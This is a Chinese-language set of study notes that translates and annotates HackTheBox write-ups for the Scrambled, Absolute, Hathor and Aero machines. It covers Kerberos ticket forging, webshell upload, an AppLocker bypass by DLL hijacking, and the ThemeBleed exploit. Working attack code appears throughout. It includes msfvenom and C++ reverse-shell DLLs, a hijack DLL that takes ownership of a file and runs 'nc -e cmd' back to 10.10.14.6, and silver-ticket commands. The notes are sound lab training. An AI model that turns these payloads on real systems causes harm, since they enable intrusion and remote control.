oxdf@hacky$ echo -n | openssl s_client -connect dc1.scrm.local:636 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ldapserver.pem depth=0 CN = DC1.scrm.local verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = DC1.scrm.local verify error:num=21:unable to verify the first certificate verify return:1 DONE
现在我将编辑/etc/ldap/ldap.conf
以指出这一点:
# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-master.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /home/oxdf/hackthebox/scrambled-10.10.11.168/ldapserver.pem
ldapsearch
现在将转储所有用户:
oxdf@hacky$ ldapsearch -h dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" # extended LDIF # # LDAPv3 # base <DC=scrm,DC=local> with scope subtree # filter: (objectClass=user) # requesting: ALL # ...[snip]... # Administrator, Users, scrm.local dn: CN=Administrator,CN=Users,DC=scrm,DC=local ...[snip]... objectSid:: AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA== ...[snip]...
我需要字符串形式的 SID,因此我将使用此博客和一些 Python 来编写转换器:
#!/usr/bin/env python3 import base64 import struct import sys b64sid = sys.argv[1] binsid = base64.b64decode(b64sid) a, N, cccc, dddd, eeee, ffff, gggg = struct.unpack("BBxxxxxxIIIII", binsid) bb, bbbb = struct.unpack(">xxHIxxxxxxxxxxxxxxxxxxxx", binsid) bbbbbb = (bb << 32) | bbbb print(f"S-{a}-{bbbbbb}-{cccc}-{dddd}-{eeee}-{ffff}-{gggg}")
有用:
oxdf@hacky$ python sid.py AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA== S-1-5-21-2743207045-1827831105-2542523200-500
第二种办法
获取域 SID 的另一种(且更简单)方法是使用getPac.py
Impacket 中的脚本。该脚本旨在获取任何用户的权限属性证书,这只需要作为域中的用户进行身份验证。我将给它 ksimpson 的权限并询问管理员:
oxdf@hacky$ getPac.py -targetUser administrator scrm.local/ksimpson:ksimpson
Domain SID: S-1-5-21-2743207045-1827831105-2542523200
有大量有关该帐户的信息,但就我当前的目的而言,最后一项(在末尾看似随机的十六进制之前)是域 SID。
ticketer.py -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator
在 Linux 上,Kerberos 在预定义的位置查找票证,例如环境变量/tmp/krb5cc_[uid of current user]
指向的任何文件KRB5CCACHE
。如果我只是运行klist
,它将无法找到新票:
oxdf@hacky$ klist klist: No credentials cache found (filename: /tmp/krb5cc_1000)
如果我将 env 变量指向 from 的文件ticketer.py
,它会显示有关票证的信息:
oxdf@hacky$ KRB5CCNAME=administrator.ccache klist Ticket cache: FILE:administrator.ccache Default principal: administrator@SCRM.LOCAL Valid starting Expires Service principal 06/14/2022 18:44:15 06/14/2032 18:44:15 MSSQLSvc/dc1.scrm.local:1433@SCRM.LOCAL renew until 06/14/2032 18:44:15
使用相同的方法,mssqlclient.py
可以使用票证连接到数据库:
oxdf@hacky$ KRB5CCNAME=administrator.ccache mssqlclient.py -k dc1.scrm.local Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC1): Line 1: Changed database context to 'master'. [*] INFO(DC1): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL>
数据库枚举
select name, database_id from sys.databases;
ScrambleHR
看起来很有趣。它有三个表:
SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;
和表都是空的Employees
。Timesheets
其中有一行UserImport
:
SELECT * from ScrambleHR.dbo.UserImport;
MiscSvc ScrambledEggs9900
MSSQL 能够通过xp_cmdshell
存储过程运行命令。在这里可以这样做,但是服务帐户无法访问盒子上的大部分内容,这在很大程度上是一个死胡同。
linux上安装powershell
Installing PowerShell on Ubuntu - PowerShell | Microsoft Learn
后续的反序列化和代码逆向看
HTB: Scrambled [From Linux] | 0xdf hacks stuff
Absolute
https://medium.com/@0xAn0m4ly/absolute-hackthebox-detailed-writeup-5bbce44b0cf6 writeup
https://arz101.medium.com/hackthebox-absolute-bdd0267d5d06 writeup
HTB: Absolute | 0xdf hacks stuff writeup
Shadow Credentials | Red Team Notes 影子凭证
尝试验证失败crackmapexec
:
oxdf@hacky$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
STATUS_ACCOUNT_RESTRICTION
通常意味着 NTLM 被禁用,并且我需要使用 Kerberos 进行身份验证。这样可行:
oxdf@hacky$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [+] absolute.htb\d.klay:Darkmoonsky248gi
这边的我的-k加上去后使用不了
使用kinit d.klay 直接生成票据的时候不行,是我的/etc/krb5.conf没配置好,后面有空来看看这两个错误
这边使用python3 getTGT.py absolute.htb/d.klay 也可以获得
使用bloodhound时记得加-ns,切记更新时间sudo ntpdate 10.10.11.181
bloodhound-python -u d.klay -p 'Darkmoonsky248girl' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip
powershell工具的学习
Add-DomainObjectAcl - PowerSploit
hathor
crackmapexec smb 10.10.11.147 --shares -u guest -p '' SMB 10.10.11.147 445 NONE [*] x64 (name:) (domain:) (signing:True) (SMBv1:False) SMB 10.10.11.147 445 NONE [-] \guest: STATUS_NOT_SUPPORTED
有趣的是,最后一条错误消息是STATUS_NOT_SUPPORTED
。这通常意味着 NTLM 身份验证被禁用(就像Scrambled中一样)。
来到80
查看页面源码,有几处引用了“mojoPortal”:
mojoPortal是一个基于 Windows 的内容管理系统 (CMS),如 WordPress、Drupal 或 Joomla。
mojoportal default credentials
Enter "admin@admin.com" for Email, "admin" for LoginName, and "admin" for Password.
简单的aspx反弹shell代码
webshell/fuzzdb-webshell/asp/cmd.aspx at master · tennc/webshell · GitHub 这个是上传一个文件,执行了可以代码执行
Online - Reverse Shell Generator reverse shell
http://10.10.11.147/Data/Sites/1/media/cmd.aspx 访问这个
成功的上传了cmd.aspx后但是不能反弹shell,看一下是不是防火墙
powershell.exe -c Get-NetFirewallRule -PolicyStore ActiveStore | where { $_.Action -eq \"Block\" }
. 这将返回 16 条规则,全部为出站规则,由程序阻止。以下程序被阻止:cscript
、PowerShell、PowerShell ISE、regsvr32
、rundll32
、wscript
、certutil
、certoc
和AutoIt
。除了最后两个之外,所有这些都具有适用于 32 位和 64 位的块。
我将使用 PowerShell 转储 AppLocker 策略:
Get-AppLockerPolicy -Effective -Xml
它以很长的一行从页面上消失。我会将其复制到一个文件中,然后在 VSCode 中打开它来查看总之,允许运行以下内容:
如何利用vscode查看xml代码
code . 开启
这样子就会出现行号
ctrl k + ctrl 0 可以压缩,
这个可以换行查看,看一起来舒服点
然后就将压缩归类的一个个打开看一下哪些可以逃过过滤
-
Appx - 仅签名
-
DLL
-
由微软签署
-
在 Program Files 和 Windows 文件夹中
-
由管理员组运行
-
C:\share\scripts\7-zip64.dll
或者C:\Get-bADpasswords\PSI\Psi_x64.dll
-
-
EXE文件
-
明确阻止甚至由 Microsoft 签名的已知 AppLocker 绕过,包括
MSDT.exe
、PRESENTATIONHOST.exe
、MSHTA.exe
、MSBUILD.exe
、INSTALLUTIL.exe
-
允许由
administrator@windcorp.com
、AutoIt 或 Microsoft 签名(如果上面没有) -
明确阻止已知路径,例如
%SYSTEM#2%\Tasks:*
、%SYSTEM32%\regvr32
、%SYSTEM32%\spool\drivers\color:*
等。 -
在 Program Files 和 Windows 文件夹中
-
由管理员组运行
-
C:\share\Bginfo64.exe
。
-
-
微星
-
签
-
在
C:\Windows\Installer
-
由管理员组运行
-
-
脚本
-
由administrator@windcorp.htb 签署
-
在 Program Files 和 Windows 文件夹中
-
由管理员组运行
-
C:\script\login.cmd
-
由于我知道 PowerShell 和未签名的二进制文件都nc64.exe
将无法连接,因此我将尝试功能更齐全的 Webshell,例如Insomnia。它具有内置的反向 shell 功能:
成功反弹shell
枚举目录
来到该目录下递归查询
CSV(逗号分隔值)文件是一种常见的文本文件格式,用于存储表格数据。
C:\Get-bADpasswords\Accessible\CSVs>findstr /S /I /C:"password" .*.csv
-
/S
: 在指定目录及其子目录中递归搜索。 -
/I
: 不区分大小写。 -
/M
: 只显示包含搜索字符串的文件名,而不显示具体匹配的行。 -
/C:"password"
: 指定要搜索的字符串,这里是"password"。 -
C:\path\to\your\files\*.txt
: 指定要搜索的文件路径和扩展名(这里假设你要搜索的是.txt
文件)
找到hash值
解密!!!!ilovegood17
这边
现在我要kinit
以 Beatricemills 的身份跑去买票:
我将/etc/krb5.conf
使用此域更新我的文件:
[libdefaults] default_realm = WINDCORP.HTB fcc-mit-ticketflags = true [realms] WINDCORP.HTB = { kdc = HATHOR.WINDCORP.HTB admin_server = HATHOR.WINDCORP.HTB }
oxdf@hacky$ kinit beatricemill Password for beatricemill@WINDCORP.HTB:
输入密码后,它只是返回,但klist
我可以看到票证存在:
oxdf@hacky$ klist Ticket cache: FILE:/tmp/krb5cc_1000 Default principal: beatricemill@WINDCORP.HTB Valid starting Expires Service principal 11/09/2022 18:31:49 11/10/2022 04:31:49 krbtgt/WINDCORP.HTB@WINDCORP.HTB renew until 11/10/2022 18:31:42
是可以利用crackmapexec smbclient还有smbclient.py的,但是前面两个我不行
crackmapexec smb hathor.windcorp.htb -k -d windcorp.htb -u beatricemill -p '!!!!ilovegood17' --shares
smbclient -L //hathor.windcorp.htb -U beatricemill@windcorp.htb -N -k
不知道为啥
smbclient.py -k 'windcorp.htb/beatricemill:!!!!ilovegood17@hathor.windcorp.htb'
这个可以
AutoIt是一个用于控制 Windows GUI 的自动化框架。BgInfo是一个 Windows SysInternals 工具,用于将有关主机的信息打印到主机的壁纸上。我会记得该路径上的 Bginfo 已被 AppLocker 列入白名单,并且 AutoIt 被防火墙阻止。
在 中scripts
,有一个 7Zip 库和一堆 AutoIt 脚本:
检查.exe是否在机器中运行进程的脚本
我很想知道这些文件中的任何一个是否在哈索尔上运行。使用我的 shell 作为 Web,我将编写一个丑陋但有效的循环来检查 AutoIt 和 BgInfo 的进程列表。首先,我会跑echo off
。这将阻止它在运行时打印命令。它还摆脱了命令提示符。
然后我将把它作为一行运行:
FOR /L %i IN (0,1,1000) DO (tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks" & ping -n 2 127.0.0.1 > NUL )
添加空格后,即:
FOR /L %i IN (0,1,1000) DO ( tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" & tasklist /FI "imagename eq AutoIt3_x64.exe" | findstr /v "No tasks" & ping -n 2 127.0.0.1 > NUL )
它会查看每个exe的任务列表,然后使用findstr
删除“未找到任务”的行。然后它会以睡眠状态对自身进行 ping 操作,然后再次运行。如此操作 1000 次。每隔三分钟左右,每个过程就会有一堆:
...[snip]... Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ AutoIt3_x64.exe 19676 1 11,856 K Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ Bginfo64.exe 25352 1 20,392 K ...[snip]...
大约 30 秒后AutoIt3_x64.exe
,还有大约 10 秒Bginfo64.exe
。
我的第一个想法是尝试覆盖其中一个二进制文件。为了测试这一点,我将尝试编写nc64.exe
. 我不希望这会给我一个 shell(任务正在运行它,而无需返回连接所需的参数),但至少它会告诉我是否可以覆盖这些。两者都失败:
smb: \> put nc64.exe AutoIt3_x64.exe
事实上,仅仅尝试写入nc64.exe
共享就会失败,但写入相同的文件却nc64.txt
可以:
显然,它阻止上传具有exe
扩展名的文件。
有趣的是,它并没有阻止 DLL 的上传:
smb: \> put nc64.exe nc64.dll putting file nc64.exe as \nc64.dll (87.9 kb/s) (average 55.1 kb/s)
我什至可以覆盖7-zip64.dll
:
smb: \scripts\> put nc64.exe 7-zip64.dll
在创建 DLL 之前,我将查看其中一些 AutoIt 脚本,看看它们是否使用该 DLL。下载一些并查看时,有对它的引用7Zip.au3
:
因此,如果运行此 AutoIt 脚本,则很可能会加载此 DLL。
尝试msf
我不希望 MSF 生成的反向 shell 能够连接回来,原因有几个。首先,Defender 似乎在这个盒子上启用了,我希望它能吃掉 MSF 生成的任何东西。其次,Dll 将被加载到 AutoIt 进程中,该进程被防火墙阻止出站。
不过,无论如何我都会尝试一下,因为这只需要一分钟,如果我错了,那会节省很多时间。我将生成一个 Dll 反向 shell msfvenom
:
oxdf@hacky$ msfvenom -p windows/x64/shell_reverse_tcp -f dll LHOST=10.10.14.6 LPORT=443 > rev.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 8704 bytes
我会上传这个,它似乎就在那里。但是,当计划任务运行时,我没有收到回调,DLL 也消失了。这几乎肯定是防守者将其移除。过了一会儿,原来的又回来了。
我之前已经编写过几次自己的 DLL。我拥有的最详细的文章来自HackBack。我将在这里遵循相同的过程。我将打开我的 Windows VM 和 Visual Studio。我将创建一个新项目,过滤 C++ 并选择“动态链接库 (DLL)”作为类型:
给它命名后,它将打开并dllmain.cpp
显示。我将添加一个include
forstdlib.h
来访问该system
函数,并DLL_PROCESS_ATTACH
使用我的有效负载更新案例:
// dllmain.cpp : Defines the entry point for the DLL application. #include "pch.h" #include <stdlib.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("cmd.exe /c ping 10.10.14.6"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
考虑到正在发生的事情的复杂性,我将从简单的情况开始向ping
我的主人介绍。我将构建设置为 Release x64,然后选择“构建”->“构建解决方案”。
成功了。
我将开始tcpdump
查找 ICMP 数据包,并将其上传到7-zip.dll
,然后等待下一个计划任务运行。有用:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 12:39:57.992781 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18400, length 40 12:39:57.992824 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18400, length 40 12:39:59.007392 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18402, length 40 12:39:59.007425 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18402, length 40 12:40:00.039137 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18404, length 40 12:40:00.039167 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18404, length 40 12:40:01.054422 IP 10.10.11.147 > 10.10.14.6: ICMP echo request, id 3, seq 18406, length 40 12:40:01.054468 IP 10.10.14.6 > 10.10.11.147: ICMP echo reply, id 3, seq 18406, length 40
这就是执行。
通过 Dll 枚举
为了了解下一步该去哪里,我将通过让 Dll 将数据写入文件并通过 shell 作为 Web 读取它来获取有关共享的更多信息。我将生成一个新的 Dll 主体:
case DLL_PROCESS_ATTACH: system("cmd.exe /c whoami /all > C:\\users\\public\\0xdf.txt"); system("cmd.exe /c icacls C:\\share >> C:\\users\\public\\0xdf.txt"); system("cmd.exe /c icacls C:\\share\\* >> C:\\users\\public\\0xdf.txt"); system("cmd.exe /c icacls C:\\share\\scripts\\* >> C:\\users\\public\\0xdf.txt"); system("cmd.exe /c ping 10.10.14.6");
我将其留在那里ping
,以便在它运行时我有一些指示。
我会上传它,大约一分钟后,我会收到 ping 信号。我会检查 shell,有一个文件:
c:\Users\Public>dir Volume in drive C has no label. Volume Serial Number is BE61-D5E0 Directory of c:\Users\Public 11/10/2022 07:40 PM <DIR> . 02/16/2022 10:00 PM <DIR> .. 11/10/2022 07:40 PM 11,072 0xdf.txt 09/24/2021 07:27 AM <DIR> Documents 09/15/2018 08:19 AM <DIR> Downloads 09/15/2018 08:19 AM <DIR> Music 09/15/2018 08:19 AM <DIR> Pictures 09/15/2018 08:19 AM <DIR> Videos 1 File(s) 11,072 bytes 7 Dir(s) 9,227,177,984 bytes free
该文件看起来由 GinaWild 所有:
c:\Users\Public>icacls 0xdf.txt icacls 0xdf.txt 0xdf.txt BUILTIN\Administrators:(I)(F) WINDCORP\GinaWild:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\INTERACTIVE:(I)(M,DC) NT AUTHORITY\SERVICE:(I)(M,DC) NT AUTHORITY\BATCH:(I)(M,DC) Successfully processed 1 files; Failed processing 0 files
看看输出,有一些东西会跳出来。运行它的用户是 GinaWild,他们是 ITDep 和 Protected Users 组的成员:
查看 中的权限C:\share
,有几个结果非常有趣。7-zip64.dll
所有用户都可写,这解释了为什么我可以覆盖它:
AutoIt3_x64.exe
属于管理员所有,用户只能读取/执行。ITDep 组(GinaWild 所在组)也可以删除子项 ( DC
):
Bginfo64.exe
另一方面,则更加宽松。用户只能读/执行,但 ITDep 还可以写所有者(WO
),这意味着 ginawild 可以更改所有者。
shell
战略
Bginfo64.exe
不会被防火墙阻止,并且即使未从该路径签名,它也会在 AppLocker 中列入白名单以运行。我可以以 GinaWild 身份运行 Dll,GinaWild 可以取得 的所有权Bginfo64.exe
,然后对其进行修改。
我将制作一个新的 Dll 来:
-
取得 的所有权
Bginfo64.exe
。 -
更新权限,以便 GinaWild 拥有完全控制权。
-
将
nc64.exe
我之前上传的复制到 web 目录下Bginfo64.exe
。 -
调用
nc64.exe
以使用反向 shell 连接回我。
DLL
我将更新我的 Dll 代码来执行上述步骤:
case DLL_PROCESS_ATTACH: system("cmd.exe /c takeown /F C:\\share\\Bginfo64.exe"); system("cmd.exe /c cacls C:\\share\\Bginfo64.exe /E /G ginawild:F"); system("cmd.exe /c copy C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exe C:\\share\\Bginfo64.exe"); system("cmd.exe /c C:\\share\\Bginfo64.exe -e cmd 10.10.14.6 9003");
-
case DLL_PROCESS_ATTACH:
: 这是一个switch语句,处理当DLL被加载到进程空间时的事件。DLL_PROCESS_ATTACH
表示DLL被加载到一个进程中。 -
system("cmd.exe /c takeown /F C:\\share\\Bginfo64.exe");
: 这一行使用系统命令takeown
来获取对指定文件C:\\share\\Bginfo64.exe
的所有者权限。/F
参数指定了文件路径。 -
system("cmd.exe /c cacls C:\\share\\Bginfo64.exe /E /G ginawild:F");
: 使用系统命令cacls
对C:\\share\\Bginfo64.exe
进行访问控制列表(ACL)的修改。具体来说,它添加了一个用户ginawild
并赋予了完全控制权限(/G ginawild:F
)。
-
system("cmd.exe /c ...")
:这部分命令执行系统命令。用于cmd.exe /c
运行命令,然后终止命令提示符。 -
cacls
:这是用于显示或修改 NTFS 分区上文件和文件夹的访问控制列表 (ACL) 的命令行实用程序。 -
C:\\share\\Bginfo64.exe
:这是要修改 ACL 的文件的路径。 -
/E
:此开关编辑 ACL,而不是替换它。 -
/G ginawild:F
:这部分命令向指定用户授予对该文件的权限。在这种情况下:-
/G
:授予权限。 -
ginawild
:授予权限的用户名或组名。 -
:F
:授予完全控制(读、写、执行、删除)权限。
-
-
system("cmd.exe /c copy C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exe C:\\share\\Bginfo64.exe");
: 使用系统命令copy
复制C:\\inetpub\\wwwroot\\data\\sites\\1\\media\\nc64.exe
到C:\\share\\Bginfo64.exe
。这实际上是将一个可执行文件复制到另一个文件。 -
system("cmd.exe /c C:\\share\\Bginfo64.exe -e cmd 10.10.14.6 9003");
: 运行C:\\share\\Bginfo64.exe
可执行文件,并传递参数-e cmd 10.10.14.6 9003
。这个命令的目的可能是在远程主机上执行一个shell,并将其连接到IP地址10.10.14.6
的端口9003
。可能是用于建立远程访问或控制的后门。
shell
我会上传该 Dll7-zip64.dll
并等待。当任务运行时,我的监听中有一个连接nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 9003 Listening on 0.0.0.0 9003 Connection received on 10.10.11.147 56824 Microsoft Windows [Version 10.0.20348.643] (c) Microsoft Corporation. All rights reserved. c:\share>
areo(theme bleed)
MSFVenom - CheatSheet | HackTricks | HackTricks msf载荷的生成命令
HTB: Helpline Windows | 0xdf hacks stuff如何制作恶意dll文件并且反弹shell
HTB: Aero | 0xdf hacks stuff writeup
搜索“windows 11 themeexploit”会返回大量名为“ThemeBleed”的结果:
CVE-2023-38146(称为 ThemeBleed)是 Windows 主题中的一个漏洞,允许远程执行代码。它已在2023 年 9 月星期二补丁中修复。
该漏洞来自 Windows 处理.msstyles
主题文件中引用的文件的方式。这些.msstyles
文件导致 Windows 在.msstyles
与_vrf.dll
附加的路径相同的路径中打开 DLL。该文件的数字签名在加载之前会被检查。
该漏洞的出现是因为,当使用 999 版本时,_vrf.dll
检查二进制文件签名和加载使用它的时间之间存在很大差距。这种差距带来了竞争条件,攻击者可以用恶意有效负载替换经过验证的样式 DLL 来运行任意代码。
POC
研究人员发布的概念验证代码位于此 GitHub 存储库中。在“发布”部分中有一个 zip 文件,其中包含 Windows 可执行文件以及名为stage1
、stage2
和 的DLL stage3
:
GitHub 上的 README 显示该 exe 有三个命令:
-
server
- 运行服务器 -
make_theme
- 制作一个.theme
文件 -
make_themepack
- 制作一个.themepack
文件
stage1`是一个设置为 999 的`msstyles`文件。是一个通过检查的合法签名样式文件。是要加载的 DLL,默认情况下将启动.`PACHTHEME_VERSION``stage2``stage3``calc.exe
我将在这段视频中详细介绍这一分析:
最大的收获是:
-
主题尝试从我的主机上的 SMB 共享加载样式文件。
-
这会触发与以 结尾的文件的交互
_vrf.dll
,首先使用 API 打开它CreateFile
以读取它并验证它的签名,然后使用LoadLibrary
API 打开它。 -
SMB 服务器利用其打开方式的差异来返回合法 DLL 或恶意 DLL。
测试
生成DLL
设置 VS 项目
我的CTF 脚本存储库中有一个反向 shell DLL ,我将其用于帮助热线 HTB 框。它在这里不起作用,因为它从本地环境变量中获取回调 IP 和端口。它还在 DLL 加载时运行反向 shell,正如 POC 的说明所示,使用该VerifyThemeVersion
函数。
我将打开 Visual Studio(不是 Visual Studio Code)并“创建一个新项目”。我将使用过滤器菜单中的“C++”、“Windows”和“Library”来访问“Dynamic-Link Library (DLL)”:
我将命名该项目并为其获取一个文件夹:
创建带有导出的虚拟 DLL
在尝试放入反向 shell 之前,我想确保可以创建具有正确导出名称的 DLL。dllmain.cpp
该项目从“Source Files”目录开始:
该代码已DllMain
定义函数。过去,我从这里调用我的反向 shell,其中模板具有break
:
我将通过右键单击解决方案资源管理器中的“头文件”来创建一个新的头文件并将其命名为rev.h
. 在此文件中,我将定义导出的函数:
#pragma once extern "C" __declspec(dllexport) int VerifyThemeVersion(void);
在 C++ 中,具有这一点很重要,"C"
否则函数名称在导出时会被破坏。
我将添加rev.cpp
到解决方案资源管理器中的“源文件”,并在其中添加代码以弹出消息框:
#include "pch.h" #include <Windows.h> #include "rev.h" using namespace std; int VerifyThemeVersion(void) { MessageBox(NULL, L"Hello, World!", L"Test", MB_OK); return 0; }
rev.h
为了使函数头和导出正常工作,包含在内非常重要。
我将我的项目设置为“发布”,然后转到“构建”>“构建解决方案”,然后它就会构建。我可以在 CFF 资源管理器之类的工具中查看它并查看导出:
运行它rundll32
会显示它的工作原理:
我将从在线存储库中获取一个反向 shell(我将使用我的,但有很多),并对其进行调整以获得我需要的内容。我的从环境中读取回调IP和端口,这在这里不起作用。我将在函数顶部将它们定义为常量:
#include "pch.h" #include <stdio.h> #include <string.h> #include <process.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdlib.h> #pragma comment(lib, "Ws2_32.lib") #include "rev.h" using namespace std; void rev_shell() { FreeConsole(); const char* REMOTE_ADDR = "127.0.0.1"; const char* REMOTE_PORT = "4444"; WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); struct addrinfo* result = NULL, * ptr = NULL, hints; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result); ptr = result; SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL); connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = (HANDLE)ConnectSocket; si.hStdOutput = (HANDLE)ConnectSocket; si.hStdError = (HANDLE)ConnectSocket; TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE"); CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); WSACleanup(); } int VerifyThemeVersion(void) { rev_shell(); return 0; }
这边的利用就是把上面的ip改成自己靶机的ip
我将 DLL 负载复制到 ThemeBleed 存储库中data/stage3
:
PS > copy ..\rev_shell_dll\ReverseShellDLL\x64\Release\ReverseShellDLL.dll .\data\stage_3
现在我将生成一个主题文件:
PS > .\ThemeBleed.exe make_theme 10.10.14.6 exploit.theme
如果我现在尝试启动服务器,它会失败:
PS > .\ThemeBleed.exe server Unhandled Exception: System.Net.Sockets.SocketException: An attempt was made to access a socket in a way forbidden by its access permissions at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, SocketAddress socketAddress) at System.Net.Sockets.Socket.Bind(EndPoint localEP) at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Int32 port, Boolean enableSMB1, Boolean enableSMB2, Boolean enableSMB3, Nullable`1 connectionInactivityTimeout) at SMBLibrary.Server.SMBServer.Start(IPAddress serverAddress, SMBTransportType transport, Boolean enableSMB1, Boolean enableSMB2) at SMBFilterDemo.Program.RunServer() in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 63 at SMBFilterDemo.Program.Main(String[] args) in C:\Users\U\source\repos\SMBFilterDemo\SMBFilterDemo\Program.cs:line 129
问题是 Windows 已经默认监听 SMB。
关闭 SMB
据我所知,完全禁用 SMB 的最简单方法是在 Windows 服务面板中禁用服务器服务:
停止服务应该可行,但某些东西仍然占用端口 445,至少在我的机器上是这样。在这里重新启动就可以解决这个问题。
运行服务器
重新启动后,我可以在服务器模式下运行该漏洞:
PS > .\ThemeBleed.exe server Server started
###
我将开始nc
在我的 Windows 主机上监听,连接到 HTB VPN,并上传主题文件。ThemeBleed 服务器几乎立刻就建立了连接:
PS > .\ThemeBleed.exe server
然后它挂起,并且在 处有一个连接nc
:
nc -lvnp 4444
提权root
在 sam.emerson 的Documents
目录中有一个 PDF 文档:
C:\Users\sam.emerson\Documents> dir Volume in drive C has no label. Volume Serial Number is C009-0DB2 Directory of C:\Users\sam.emerson\Documents 09/21/2023 02:58 PM <DIR> . 09/20/2023 05:08 AM <DIR> .. 09/21/2023 09:18 AM 14,158 CVE-2023-28252_Summary.pdf 09/20/2023 07:10 AM 987 watchdog.ps1 2 File(s) 15,145 bytes 2 Dir(s) 3,048,124,416 bytes free
watchdog.ps1
是模拟 sam.emerson 加载主题的脚本。
我将通过将 PDF 转换为 base64 来删除它:
PS C:\Users\sam.emerson\Desktop> powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows PS C:\Users\sam.emerson\Desktop> cd ..\Documents PS C:\Users\sam.emerson\documents> ls Directory: C:\Users\sam.emerson\documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/21/2023 9:18 AM 14158 CVE-2023-28252_Summary.pdf -a---- 9/26/2023 1:07 PM 987 watchdog.ps1 PS C:\Users\sam.emerson\documents> [convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte)) JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMC。。。。。。。。。。。。。。。。。。。。。。。。==
在我的虚拟机上,我会将其解码为一个文件:
oxdf@hacky$ echo "JVBERi...[snip]...GCg==" | base64 -d > CVE-2023-28252_Summary.pdf
PDF 包含有关 CVE-2023-28252 的信息:
systeminfo
我会注意到应用了 7 个修补程序。CVE-2023-28252 的 Microsoft 页面包含指向 Windows 11 x64 的“仅安全”补丁的链接,这些补丁标记为 KB5025224,但该系统上不存在该补丁。
CVE-2023-28252
POC
